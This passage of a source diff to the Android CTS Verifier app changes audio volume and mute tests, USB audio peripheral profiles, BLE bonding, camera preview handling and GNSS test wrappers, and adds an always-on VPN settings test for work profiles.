+ e.printStackTrace();
+ }
+ int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+
+ for (int stream : streams) {
+ Log.d(TAG, "testing stream: " + stream);
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ int maxVolume = mAudioManager.getStreamMaxVolume(stream);
+ int minVolume = 1; // mAudioManager.getStreamMinVolume(stream); is @hide
+
+ // validate min
+ assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
+ assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
+ maxVolume),
+ minVolume < maxVolume);
+
+ mAudioManager.setStreamVolume(stream, 1, 0);
+ if (mUseFixedVolume) {
+ assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+ return;
+ }
+ assertEquals(String.format("stream=%d", stream),
+ 1, mAudioManager.getStreamVolume(stream));
+
+ if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+ // due to new regulations, music sent over a wired headset may be volume limited
+ // until the user explicitly increases the limit, so we can't rely on being able
+ // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
+ // by increasing the volume until it won't go any higher, then use that volume as
+ // the maximum for the purposes of this test
+ int curvol = 0;
+ int prevvol = 0;
+ do {
+ prevvol = curvol;
+ mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+ curvol = mAudioManager.getStreamVolume(stream);
+ } while (curvol != prevvol);
+ maxVolume = maxMusicVolume = curvol;
+ }
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+ assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+ mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(maxVolume - volumeDelta, mAudioManager.getStreamVolume(stream));
+
+ // volume lower
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ volume = mAudioManager.getStreamVolume(stream);
+ while (volume > minVolume) {
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+ mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
+ assertEquals(Math.max(0, volume - volumeDelta),
+ mAudioManager.getStreamVolume(stream));
+ volume = mAudioManager.getStreamVolume(stream);
+ }
+
+ mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+
+ // volume raise
+ mAudioManager.setStreamVolume(stream, 1, 0);
+ volume = mAudioManager.getStreamVolume(stream);
+ while (volume < maxVolume) {
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+ mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+ assertEquals(Math.min(volume + volumeDelta, maxVolume),
+ mAudioManager.getStreamVolume(stream));
+ volume = mAudioManager.getStreamVolume(stream);
+ }
+
+ // volume same
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ for (int k = 0; k < maxVolume; k++) {
+ mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+ assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+ }
+
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ }
+
+ if (mUseFixedVolume) {
+ return;
+ }
+
+ // adjust volume
+ mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+
+ boolean isMusicPlayingBeforeTest = false;
+ if (mAudioManager.isMusicActive()) {
+ isMusicPlayingBeforeTest = true;
+ }
+
+ MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
+ assertNotNull(mp);
+ mp.setAudioStreamType(STREAM_MUSIC);
+ mp.setLooping(true);
+ mp.start();
+ try {
+ Thread.sleep(TIME_TO_PLAY);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertTrue(mAudioManager.isMusicActive());
+
+ // adjust volume as ADJUST_SAME
+ for (int k = 0; k < maxMusicVolume; k++) {
+ mAudioManager.adjustVolume(ADJUST_SAME, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+ }
+
+ // adjust volume as ADJUST_RAISE
+ mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+ mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(Math.min(volumeDelta, maxMusicVolume),
+ mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+ // adjust volume as ADJUST_LOWER
+ mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
+ maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+ mAudioManager.adjustVolume(ADJUST_LOWER, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
+ mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+ mp.stop();
+ mp.release();
+ try {
+ Thread.sleep(TIME_TO_PLAY);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ if (!isMusicPlayingBeforeTest) {
+ assertFalse(mAudioManager.isMusicActive());
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestMuteDndAffectedStreamsDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_mute_dnd_affected_streams);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ return;
+ }
+ int[] streams = { AudioManager.STREAM_RING };
+
+ // Verify streams cannot be unmuted without policy access.
+ for (int stream : streams) {
+ try {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+ 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.setStreamMute(stream, false);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestMuteStreams extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_mute_dnd_affected_streams);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ return;
+ }
+ int[] streams = { AudioManager.STREAM_RING };
+
+ for (int stream : streams) {
+ // ensure each stream is on and turned up.
+ mAudioManager.setStreamVolume(stream, mAudioManager.getStreamMaxVolume(stream),0);
+
+ try {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+ try {
+ mAudioManager.adjustStreamVolume(
+ stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.setStreamMute(stream, true);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+ testStreamMuting(stream);
+ }
+
+ streams = new int[] {
+ AudioManager.STREAM_VOICE_CALL,
+ AudioManager.STREAM_MUSIC,
+ AudioManager.STREAM_ALARM
+ };
+
+ int muteAffectedStreams = Settings.System.getInt(mContext.getContentResolver(),
+ Settings.System.MUTE_STREAMS_AFFECTED,
+ // Same defaults as in AudioService. Should be kept in
+ // sync.
+ ((1 << AudioManager.STREAM_MUSIC) |
+ (1 << AudioManager.STREAM_RING) |
+ (1 << AudioManager.STREAM_NOTIFICATION) |
+ (1 << AudioManager.STREAM_SYSTEM)));
+ for (int stream : streams) {
+ // ensure each stream is on and turned up.
+ mAudioManager.setStreamVolume(stream,
+ mAudioManager.getStreamMaxVolume(stream),
+ 0);
+ if (((1 << stream) & muteAffectedStreams) == 0) {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+ assertFalse("Stream " + stream + " should not be affected by mute.",
+ mAudioManager.isStreamMute(stream));
+ mAudioManager.setStreamMute(stream, true);
+ assertFalse("Stream " + stream + " should not be affected by mute.",
+ mAudioManager.isStreamMute(stream));
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+ 0);
+ assertFalse("Stream " + stream + " should not be affected by mute.",
+ mAudioManager.isStreamMute(stream));
+ continue;
+ }
+ testStreamMuting(stream);
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestAdjustVolumeInAlarmsOnlyMode extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ return;
+ }
+ int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+ mAudioManager.adjustStreamVolume(
+ AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
+ int volumeDelta =
+ getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+ assertEquals(musicVolume + volumeDelta,
+ mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
+ assertEquals(3, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+
+ status = PASS;
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index d5031df..57d823e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -105,15 +105,8 @@
}
private void calculateMatch() {
- boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
- .getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
if (mIsPeripheralAttached) {
- boolean match;
- if (!interceptedVolume)
- match = mHasBtnA && mHasBtnB && mHasBtnC;
- else
- match = mHasBtnA;
- Log.i(TAG, "match:" + match);
+ boolean match = mHasBtnA && mHasBtnB && mHasBtnC;
getPassButton().setEnabled(match);
} else {
getPassButton().setEnabled(false);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index 17ae502..45b1220 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -49,7 +49,7 @@
"<ProfileList Version=\"1.0.0\">" +
"<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
- "<InputDevInfo ChanCounts=\"1, 2\" ChanPosMasks=\"12, 16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
"<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
@@ -80,6 +80,11 @@
"<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
"<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
"</PeripheralProfile>" +
+ "<PeripheralProfile ProfileName=\"mir\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB Audio\">" +
+ "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+ "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
+ "</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"HTC Dongle\" ProfileDescription=\"Type-C to 3.5mm Headphone\" ProductName=\"USB-Audio - HTC Type-C to 3.5mm Headphone J\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
"<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\"/>" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index e61cefe..6b686e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
switch (state) {
case BluetoothDevice.BOND_BONDED:
- mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+ if ((mBluetoothGatt == null) &&
+ (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+ if (DEBUG) {
+ Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+ + device + ", mSecure=" + mSecure);
+ }
+ mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+ mGattCallbacks);
+ }
break;
case BluetoothDevice.BOND_NONE:
notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
index 85d2a18..8839d52 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
@@ -413,7 +413,7 @@
try {
mCamera.setPreviewDisplay(mSurfaceHolder);
} catch (Throwable t) {
- Log.e("TAG", "Could not set preview display", t);
+ Log.e(TAG, "Could not set preview display", t);
Toast.makeText(this, t.getMessage(), Toast.LENGTH_LONG).show();
return;
}
@@ -423,8 +423,14 @@
// Either use chosen preview size for current camera or automatically
// choose preview size based on view dimensions.
- Size selectedPreviewSize = (mPreviewSizes != null) ? mPreviewSizes[mSelectedResolution.cameraId] :
- getBestPreviewSize(mSurfaceSize.width, mSurfaceSize.height, params);
+ Size selectedPreviewSize = null;
+ if (mPreviewSizes != null) {
+ selectedPreviewSize = mPreviewSizes[mSelectedResolution.cameraId];
+ } else if (mSurfaceSize != null) {
+ selectedPreviewSize = getBestPreviewSize(
+ mSurfaceSize.width, mSurfaceSize.height, params);
+ }
+
if (selectedPreviewSize != null) {
params.setPreviewSize(selectedPreviewSize.width, selectedPreviewSize.height);
mCamera.setParameters(params);
@@ -432,7 +438,10 @@
}
if (startPreviewAfterInit) {
- startPreview();
+ if (selectedPreviewSize == null) {
+ Log.w(TAG, "Preview started without setting preview size");
+ }
+ startPreview();
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index 8e3089d..161cceb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -40,8 +40,6 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestResult;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.TreeSet;
/**
@@ -63,7 +61,6 @@
* (e.g. social network apps that upload a photo after you take a picture)
* rely on this functionality present and correctly working.
*/
-@CddTest(requirement="7.5.4/C-0-9,C-0-10")
public class CameraIntentsActivity extends PassFailButtons.Activity
implements OnClickListener, SurfaceHolder.Callback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
index d07bd58..d753d6a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
@@ -36,8 +36,6 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestResult;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.IOException;
import java.util.ArrayList;
import java.util.Comparator;
@@ -48,7 +46,6 @@
* Tests for manual verification of the CDD-required camera output formats
* for preview callbacks
*/
-@CddTest(requirement="7.5.2/C-1-5,C-1-6,C-1-7,C-2-1")
public class CameraOrientationActivity extends PassFailButtons.Activity
implements OnClickListener, SurfaceHolder.Callback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java
new file mode 100644
index 0000000..e17b67a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import com.android.cts.verifier.location.base.GnssCtsTestActivity;
+import android.location.cts.GnssPseudorangeVerificationTest;
+
+/**
+ * Activity to execute CTS GnssPseudorangeVerificationTest.
+ * It is a wrapper for {@link GnssPseudorangeVerificationTest} running with AndroidJUnitRunner.
+ */
+
+public class GnssPseudorangeVerificationTestsActivity extends GnssCtsTestActivity {
+ public GnssPseudorangeVerificationTestsActivity() {
+ super(GnssPseudorangeVerificationTest.class);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
index a64c5d3..b132c50 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
package com.android.cts.verifier.location;
import com.android.cts.verifier.location.base.GnssCtsTestActivity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
index 1ba925c..7b5b6fb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
package com.android.cts.verifier.location;
import com.android.cts.verifier.location.base.GnssCtsTestActivity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index 4909497..c779a2a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,6 +19,8 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+import com.android.compatibility.common.util.CddTest;
+
import android.content.Context;
import android.graphics.Color;
import android.graphics.Typeface;
@@ -41,6 +43,7 @@
/**
* CTS Verifier case for verifying GPS.
*/
+@CddTest(requirement="7.3.3/C-1-1")
public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
private LocationManager mLocationManager;
private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
index 8140b3f..4db0b54 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
package com.android.cts.verifier.location;
import android.app.Activity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java
new file mode 100644
index 0000000..011473c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.DialogTestListActivity;
+import com.android.cts.verifier.R;
+
+/**
+ * Tests the Settings UI for always-on VPN in the work profile.
+ */
+public class AlwaysOnVpnSettingsTestActivity extends DialogTestListActivity {
+
+ public static final String ACTION_ALWAYS_ON_VPN_SETTINGS_TEST =
+ "com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST";
+
+ private static final Intent VPN_SETTINGS_INTENT = new Intent(Settings.ACTION_VPN_SETTINGS);
+ private static final String CTS_VPN_APP_PACKAGE = "com.android.cts.vpnfirewall";
+ private static final String CTS_VPN_APP_ACTION =
+ "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+
+ public AlwaysOnVpnSettingsTestActivity() {
+ super(R.layout.provisioning_byod,
+ R.string.provisioning_byod_always_on_vpn,
+ R.string.provisioning_byod_always_on_vpn_info,
+ R.string.provisioning_byod_always_on_vpn_instruction);
+ }
+
+ @Override
+ protected void setupTests(ArrayTestListAdapter adapter) {
+ adapter.add(new DialogTestListItem(this,
+ R.string.provisioning_byod_always_on_vpn_api23,
+ "BYOD_AlwaysOnVpnSettingsApi23Test",
+ R.string.provisioning_byod_always_on_vpn_api23_instruction,
+ VPN_SETTINGS_INTENT
+ ));
+ adapter.add(new DialogTestListItem(this,
+ R.string.provisioning_byod_always_on_vpn_api24,
+ "BYOD_AlwaysOnVpnSettingsApi24Test",
+ R.string.provisioning_byod_always_on_vpn_api24_instruction,
+ VPN_SETTINGS_INTENT
+ ));
+ adapter.add(new DialogTestListItem(this,
+ R.string.provisioning_byod_always_on_vpn_not_always_on,
+ "BYOD_AlwaysOnVpnSettingsNotAlwaysOnTest",
+ R.string.provisioning_byod_always_on_vpn_not_always_on_instruction,
+ VPN_SETTINGS_INTENT
+ ));
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mPrepareTestButton.setText(
+ R.string.provisioning_byod_always_on_vpn_prepare_button);
+ mPrepareTestButton.setOnClickListener(v -> {
+ try {
+ final Intent intent =
+ getPackageManager().getLaunchIntentForPackage(CTS_VPN_APP_PACKAGE);
+ intent.setAction(CTS_VPN_APP_ACTION);
+ startActivity(intent);
+ } catch (ActivityNotFoundException unused) {
+ Utils.showToast(this, R.string.provisioning_byod_always_on_vpn_vpn_not_found_note);
+ }
+ });
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index e51f942..7e59e98 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -31,6 +31,8 @@
import android.view.View.OnClickListener;
import android.widget.Toast;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.cts.verifier.ArrayTestListAdapter;
import com.android.cts.verifier.DialogTestListActivity;
import com.android.cts.verifier.R;
@@ -51,6 +53,7 @@
* The first two verifications are performed automatically, by interacting with profile owner using
* cross-profile intents, while the last two are carried out manually by the user.
*/
+@CddTest(requirement="3.9/H-1-1,3.9.1.2/C-1-1,C-1-2,C-1-3,3.9.2/C-1-1,C-1-3,C-1-4,C-1-5,C-1-6,C-1-7,C-1-10")
public class ByodFlowTestActivity extends DialogTestListActivity {
private static final String TAG = "ByodFlowTestActivity";
@@ -101,6 +104,7 @@
private DialogTestListItem mConfirmWorkCredentials;
private DialogTestListItem mParentProfilePassword;
private TestListItem mVpnTest;
+ private TestListItem mAlwaysOnVpnSettingsTest;
private TestListItem mRecentsTest;
private TestListItem mDisallowAppsControlTest;
private TestListItem mOrganizationInfoTest;
@@ -362,6 +366,12 @@
new Intent(VpnTestActivity.ACTION_VPN),
null);
+ mAlwaysOnVpnSettingsTest = TestListItem.newTest(this,
+ R.string.provisioning_byod_always_on_vpn,
+ AlwaysOnVpnSettingsTestActivity.class.getName(),
+ new Intent(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST),
+ null);
+
mDisallowAppsControlTest = TestListItem.newTest(this,
R.string.provisioning_byod_disallow_apps_control,
DisallowAppsControlActivity.class.getName(),
@@ -458,6 +468,7 @@
